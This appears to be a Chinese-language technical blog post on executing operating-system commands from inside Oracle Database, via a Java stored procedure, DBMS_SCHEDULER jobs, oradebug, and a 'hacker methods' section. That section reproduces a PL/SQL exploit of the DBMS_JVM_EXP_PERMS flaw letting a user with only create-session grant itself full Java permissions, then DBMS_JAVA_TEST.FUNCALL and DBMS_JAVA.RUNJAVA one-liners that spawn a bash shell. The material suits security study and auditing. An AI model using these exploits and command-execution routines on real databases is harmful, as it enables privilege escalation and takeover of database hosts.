Execute os command in Oracle Database

1. 正统方法

1.1 使用JAVA

1.1.1 代码

Oracle 数据库都支持Java,可以利用java来实现我们需要的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
try {
String[] finalCommand;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
finalCommand = new String[4];
finalCommand[0] = "C:\\windows\\system32\\cmd.exe";
finalCommand[1] = "/y";
finalCommand[2] = "/c";
finalCommand[3] = command;
} else {
finalCommand = new String[3];
finalCommand[0] = "/bin/sh";
finalCommand[1] = "-c";
finalCommand[2] = command;
}
Process p = Runtime.getRuntime().exec(finalCommand);
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
System.err.println("command execute failed.");
}
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
System.out.println(lineStr);
inBr.close();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/

1.1.2 设置输出

1
2
set serveroutput on size 100000;
exec dbms_java.set_output(100000);

1.1.3 需要的权限

可以使用下面的语句查询相关权限

  • 用户权限
1
select * from session_privs;
  • JAVA 权限
1
2
select * from dba_java_policy;
select * from user_java_policy;

使用java代码执行系统命令需要的权限,可以使用下面语句进行授权:

1
2
3
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

1.1.4 实验结果

非常不错支持回显。

1
2
3
4
5
SQL> exec javacmdproc('/bin/uname -a');
Linux localhost.localdomain 2.6.32-100.34.1.el6uek.i686 #1 SMP Wed May 25
17:28:36 EDT 2011 i686 i686 i386 GNU/Linux
PL/SQL procedure successfully completed.

1.1.5 注意

需要使用全路径

1.2 DBMS_SCHEDULAR

1.2.1 DBMS_SCHEDULAR 简介

这个和Windows上的计划任务类似。

1.2.2 需要的权限

  1. CREATE JOB
  2. CREATE EXTERNAL JOB
  3. EXECUTE on dbms_scheduler (granted to public by default)

grant create job, create external job to scott ;

1.2.3 执行的语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
BEGIN
DBMS_SCHEDULER.CREATE_PROGRAM (
program_name=> 'MyCmd',
program_type=> 'EXECUTABLE',
-- Use the ampersand to break out
program_action => '/tmp/a.sh',
enabled=> TRUE,
comments=> 'Run a command using shell metacharacters.'
);
END;
/
BEGIN
DBMS_SCHEDULER.CREATE_JOB (
job_name=> 'X',
program_name=> 'MyCmd',
repeat_interval=> 'FREQ=SECONDLY;INTERVAL=10',
enabled=> TRUE,
comments=> 'Every 10 seconds');
END;
/
exec DBMS_SCHEDULER.RUN_JOB ( job_name=> 'X');

1.2.4 注意

  1. 原先使用 || 等 metacharacters 的bug已经修复,只能使用参数
  2. Windows系统必须开启OracleJobSchedulerSID 服务
  3. Linux系统上相关文件的权限必须正确
  4. 高版本的Linux,执行的group已经被Oracle将为nobody

总之这个方法局限行很大,不推荐使用,列在这里只是做一个备忘。

1.3 使用oradebug

  • oradebug 简介
    oradebug是一个神奇的命令, 能干很多活, 但是Oracle却很少提及,属于undocumented
    状态,是给oracle的工程师使用的,主要用于调试和性能调优。可以使用 oradebug help
    命令,查看oradebug的用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
SQL> oradebug help
HELP [command] Describe one or all commands
SETMYPID Debug current process
SETOSPID <ospid> Set OS pid of process to debug
SETORAPID <orapid> ['force'] Set Oracle pid of process to debug
SETORAPNAME <orapname> Set Oracle process name to debug
SHORT_STACK Get abridged OS stack
CURRENT_SQL Get current SQL
DUMP <dump_name> <lvl> [addr] Invoke named dump
DUMPSGA [bytes] Dump fixed SGA
DUMPLIST Print a list of available dumps
EVENT <text> Set trace event in process
SESSION_EVENT <text> Set trace event in session
DUMPVAR <p|s|uga> <name> [level] Print/dump a fixed PGA/SGA/UGA variable
DUMPTYPE <address> <type> <count> Print/dump an address with type info
SETVAR <p|s|uga> <name> <value> Modify a fixed PGA/SGA/UGA variable
PEEK <addr> <len> [level] Print/Dump memory
POKE <addr> <len> <value> Modify memory
WAKEUP <orapid> Wake up Oracle process
SUSPEND Suspend execution
RESUME Resume execution
FLUSH Flush pending writes to trace file
CLOSE_TRACE Close trace file
TRACEFILE_NAME Get name of trace file
LKDEBUG Invoke global enqueue service debugger
NSDBX Invoke CGS name-service debugger
-G <Inst-List | def | all> Parallel oradebug command prefix
-R <Inst-List | def | all> Parallel oradebug prefix (return output
SETINST <instance# .. | all> Set instance list in double quotes
SGATOFILE <SGA dump dir> Dump SGA to file; dirname in double quotes
DMPCOWSGA <SGA dump dir> Dump & map SGA as COW; dirname in double quotes
MAPCOWSGA <SGA dump dir> Map SGA as COW; dirname in double quotes
HANGANALYZE [level] [syslevel] Analyze system hang
FFBEGIN Flash Freeze the Instance
FFDEREGISTER FF deregister instance from cluster
FFTERMINST Call exit and terminate instance
FFRESUMEINST Resume the flash frozen instance
FFSTATUS Flash freeze status of instance
SKDSTTPCS <ifname> <ofname> Helps translate PCs to names
WATCH <address> <len> <self|exist|all|target> Watch a region of memory
DELETE <local|global|target> watchpoint <id> Delete a watchpoint
SHOW <local|global|target> watchpoints Show watchpoints
DIRECT_ACCESS <set/enable/disable command | select query> Fixed table access
CORE Dump core without crashing process
IPC Dump ipc information
UNLIMIT Unlimit the size of the trace file
PROCSTAT Dump process statistics
CALL [-t count] <func> [arg1]...[argn] Invoke function with arguments

功能非常丰富, 下面我们用到的是 CALL 可以直接调用oracle进程使用的函数。

执行的语句

oradebug setmypid; oradebug call system "/usr/bin/whoami >/tmp/ret";

注意

  1. 这里权限要求是SYSDBA
  2. 双引号里必须是使用TAB而不能使用空格
  3. Linux 和 Windows 下的ORACLE都能利用成功

2. 黑客方法

下面用到的两个方法是David Litchfield 在Blackhat DC 2010 上公开两个方法,通过逆向
发现。结合DBMS_JVM_EXP_PERMS的漏洞可以直接执行系统命令(DBMS_JVM_EXP_PERMS 漏洞
已经被被修复)

1
2
3
4
5
6
7
8
9
10
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT ‘GRANT’,USER(), ‘SYS’,'java.io.FilePermission’,’<<ALL FILES>>‘,’execute’,'ENABLED’ from dual;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

在有漏洞的DBMS_JVM_EXP_PERMS package的Oracle上执行上述语句,有create session
权限的用户可以给自己授权所有java 权限。

2.1 DBMS_JAVA_TEST.FUNCALL

2.1.1 执行的语句

1
Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/bin/ls>/tmp/OUT2.LST') from dual;

2.1.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.1.3 受影响系统

11g R1, 11g R2

2.2 DBMS_JAVA.RUNJAVA

2.2.1 执行的语句

1
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper /bin/bash -c /bin/ls>/tmp/OUT.LST') FROM DUAL;

2.2.2 需要的权限

1
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');

2.2.3 受影响系统

10g R2, 11g R1, 11g R2

参考链接

  1. Using Java to run os command
  2. DBMS_SCHEDULER
  3. oradebug
  4. BlackHat-DC-2010-Litchfield-Oracle11g
  5. Hacking Oracle from the Web